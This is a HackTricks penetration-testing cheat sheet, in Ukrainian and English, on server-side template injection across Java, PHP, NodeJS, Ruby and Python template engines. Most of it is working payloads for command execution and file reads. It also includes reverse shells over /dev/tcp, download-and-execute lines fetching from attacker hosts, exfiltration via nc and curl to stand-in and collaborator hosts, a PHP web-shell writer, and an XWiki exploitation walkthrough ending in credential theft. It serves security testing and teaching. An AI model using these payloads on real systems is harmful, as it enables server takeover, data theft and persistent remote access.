SSTI (Server Side Template Injection)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке SSTI (Server-Side Template Injection)

Server-side template injection — це вразливість, яка виникає, коли атакуючий може вставляти шкідливий код у шаблон, що виконується на сервері. Ця вразливість може зустрічатися в різних технологіях, включно з Jinja.

Jinja — популярний шаблонізатор, який використовується у веб-додатках. Розглянемо приклад, що демонструє вразливий фрагмент коду з використанням Jinja:

output = template.render(name=request.args.get('name'))

У цьому вразливому коді параметр name із запиту користувача безпосередньо передається в шаблон за допомогою функції render. Це може потенційно дозволити attacker inject шкідливий код у параметр name, що призведе до server-side template injection.

Наприклад, attacker може сформувати запит із payload такого вигляду:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.

Щоб запобігти server-side template injection vulnerabilities, розробники повинні забезпечити належну санітизацію та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації вводу та використання контекстно-залежних методів екранування допомагають знизити ризик цієї вразливості.

Виявлення

To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. Це включає інжекцію послідовності спеціальних символів (${{<%[%'"}}%\) у шаблон і аналіз відмінностей у відповіді сервера при передачі звичайних даних порівняно з цим спеціальним payload’ом. Індикатори вразливості включають:

  • Thrown errors, revealing the vulnerability and potentially the template engine.
  • Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
  • Plaintext Context: Distinguish from XSS by checking if the server evaluates template expressions (e.g., {{7*7}}, ${7*7}).
  • Code Context: Confirm vulnerability by altering input parameters. For instance, changing greeting in http://vulnerable-website.com/?greeting=data.username to see if the server’s output is dynamic or fixed, like in greeting=data.username}}hello returning the username.

Фаза ідентифікації

Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include ${7/0}, {{7/0}}, and <%= 7/0 %>. Observing the server’s response to mathematical operations helps pinpoint the specific template engine.

Ідентифікація за payload’ами

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Інструменти

TInjA

an efficient SSTI + CSTI scanner which utilizes novel polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

інтерактивна таблиця, що містить найефективніші template injection polyglots разом з очікуваними відповідями 44 найважливіших template engines.

Exploits

Загальні

У цьому wordlist ви можете знайти variables defined у середовищах деяких із engines, згаданих нижче:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Отримати системні змінні середовища

${T(java.lang.System).getenv()}

Java - Отримати /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Ви можете протестувати свої payloads на https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ працює лише з версіями Freemarker нижче 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Додаткова інформація

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Додаткова інформація

Thymeleaf

У Thymeleaf поширеним тестом на вразливості SSTI є вираз ${7*7}, який також застосовується в цьому шаблонному рушії. Для потенційного remote code execution можна використовувати такі вирази:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf вимагає, щоб ці вирази розміщувалися у специфічних атрибутах. Однак для інших місць у шаблоні підтримується expression inlining, із синтаксисом на кшталт [[...]] або [(...)]. Отже простий SSTI тестовий payload може виглядати так: [[${7*7}]].

Однак ймовірність, що такий payload спрацює, загалом низька. Стандартна конфігурація Thymeleaf не підтримує динамічну генерацію шаблонів; шаблони мають бути заздалегідь визначені. Розробникам довелося б реалізувати власний TemplateResolver для створення шаблонів із рядків на льоту, що трапляється рідко.

Thymeleaf також пропонує expression preprocessing, при якій вирази в подвійних підкресленнях (__...__) попередньо обробляються. Цю можливість можна використовувати при побудові виразів, як показано в документації Thymeleaf:

#{selection.__${sel.code}__}

Приклад вразливості в Thymeleaf

Розгляньте наступний фрагмент коду, який може бути вразливим до експлуатації:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Це вказує на те, що якщо движок шаблонів обробляє ці вхідні дані неправильно, це може призвести до remote code execution з доступом до URL-адрес, таких як:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Більше інформації

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

Можна використовувати різні вирази змінних; якщо ${...} не працює, спробуйте #{...}, *{...}, @{...} або ~{...}.

  • Прочитати /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Custom Script для генерації payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Додаткова інформація

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Стара версія Pebble ( < версія 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Нова версія Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava — проект з відкритим кодом, розроблений Hubspot, доступний за адресою https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Виправлено у https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Більше інформації

Hubspot - HuBL (Java)

  • {% %} роздільники операторів
  • {{ }} роздільники виразів
  • {# #} роздільники коментарів
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Пошукайте “com.hubspot.content.hubl.context.TemplateContextRequest” і знайдете проект Jinjava на Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Додаткова інформація

Мова виразів - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) — це фундаментальна функція, що полегшує взаємодію між presentation layer (наприклад, веб-сторінками) та application logic (наприклад, managed beans) у JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, які використовують EL, включають:

  • JavaServer Faces (JSF): Використовує EL для прив’язки компонентів на JSF-сторінках до відповідних даних та дій на бекенді.
  • JavaServer Pages (JSP): EL використовується в JSP для доступу та маніпуляції даними всередині JSP-сторінок, що спрощує зв’язок елементів сторінки з даними застосунку.
  • Contexts and Dependency Injection for Java EE (CDI): EL інтегрується з CDI, дозволяючи безшовну взаємодію між веб-рівнем та managed beans, забезпечуючи більш цілісну структуру застосунку.

Перегляньте наступну сторінку, щоб дізнатися більше про експлуатацію інтерпретаторів EL:

EL - Expression Language

Groovy (Java)

The following Security Manager bypasses were taken from this writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) віддає неавторизовані RSS-потоки пошуку через Main.SolrSearch macro. Обробник приймає query-параметр text, обгортає його у wiki-синтаксис і виконує макроси, тож інжекція }}} з наступним {{groovy}} запускає довільний Groovy у JVM.

  1. Виявлення та охоплення – Коли XWiki знаходиться за reverse-proxy з host-based routing, фузьте заголовок Host (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) щоб виявити wiki vhost, потім відкрийте /xwiki/bin/view/Main/ і прочитайте footer (XWiki Debian 15.10.8) щоб зафіксувати вразливу збірку.
  2. Спровокувати SSTI – Виконайте запит /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Елемент RSS <title> міститиме вивід Groovy. Завжди кодуйте всі символи у URL (URL-encode all characters), щоб пробіли лишалися як %20; заміна їх на + спричиняє HTTP 500 від XWiki.
  3. Запуск команд ОС – Замініть тіло Groovy на {{groovy}}println("id".execute().text){{/groovy}}. String.execute() запускає команду безпосередньо через execve(), тому shell-метасимволи (|, >, &) не інтерпретуються. Натомість використовуйте патерн download-and-execute:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (скрипт містить логіку reverse shell).
  1. Після експлуатації – XWiki зберігає облікові дані бази даних у /etc/xwiki/hibernate.cfg.xml; leaking hibernate.connection.password дає паролі реальної системи, які можна повторно використати через SSH. Якщо systemd unit сервісу встановлює NoNewPrivileges=true, інструменти на кшталт /bin/su не отримають додаткових привілеїв навіть з валідними паролями, тож краще pivot через SSH замість покладання на локальні SUID-бінарні файли.

Той самий payload працює на /xwiki/bin/get/Main/SolrSearch, а Groovy stdout завжди вбудовується в RSS <title>, тож легко автоматизувати перебір команд.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Додаткова інформація

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Формат шаблону

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Додаткова інформація

Plates (PHP)

Plates — це движок шаблонів, рідний для PHP, що черпає натхнення з Twig. Однак, на відміну від Twig, який вводить новий синтаксис, Plates використовує нативний PHP-код у шаблонах, роблячи його інтуїтивно зрозумілим для PHP-розробників.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Шаблон сторінки:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Шаблон макета:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Додаткова інформація

PHPlib та HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB є таким самим, як PHPlib, але портовано до Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Додаткова інформація

Інше (PHP)

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Додаткова інформація

patTemplate (PHP)

patTemplate PHP-шаблонізатор, який не компілює шаблони і використовує XML-теги для поділу документа на різні частини

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Додаткова інформація

Handlebars (NodeJS)

Path Traversal (детальніше here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Помилка
  • ${7*7} = ${7*7}
  • Нічого
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Більше інформації

JsRender (NodeJS)

ШаблонОпис
Обчислює й відображає результат
Обчислює й відображає вивід, закодований у HTML
Коментар
іДозволяє виконання коду (за замовчуванням вимкнено)
  • = 49

Клієнтська частина

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Серверна частина

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Більше інформації

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Приклад серверного рендерингу

var pugjs = require("pug")
home = pugjs.render(injected_page)

Додаткова інформація

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Немає виводу
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Помилка
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Додаткова інформація

Пісочниці виразів NodeJS (vm2 / isolated-vm)

Деякі конструктори робочих процесів виконують керовані користувачем вирази в Node-пісочницях (vm2, isolated-vm), проте контекст виразу все ще надає доступ до this.process.mainModule.require. Це дозволяє зловмиснику підвантажити child_process і виконати команди ОС навіть коли спеціалізовані вузли “Execute Command” вимкнені:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

Інше NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Детальніше

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Додаткова інформація

Інше (Ruby)

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Перегляньте наступну сторінку, щоб вивчити трюки щодо arbitrary command execution bypassing sandboxes у python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Більше інформації

Jinja2 (Python)

Official website

Jinja2 — повнофункціональний движок шаблонів для Python. Має повну підтримку Unicode, опційне інтегроване пісочницеве середовище виконання, широко використовується та ліцензовано за BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Формат шаблону

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE, що не залежить від __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Докладніше про те, як зловживати Jinja:

Jinja2 SSTI

Інші payloads в https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

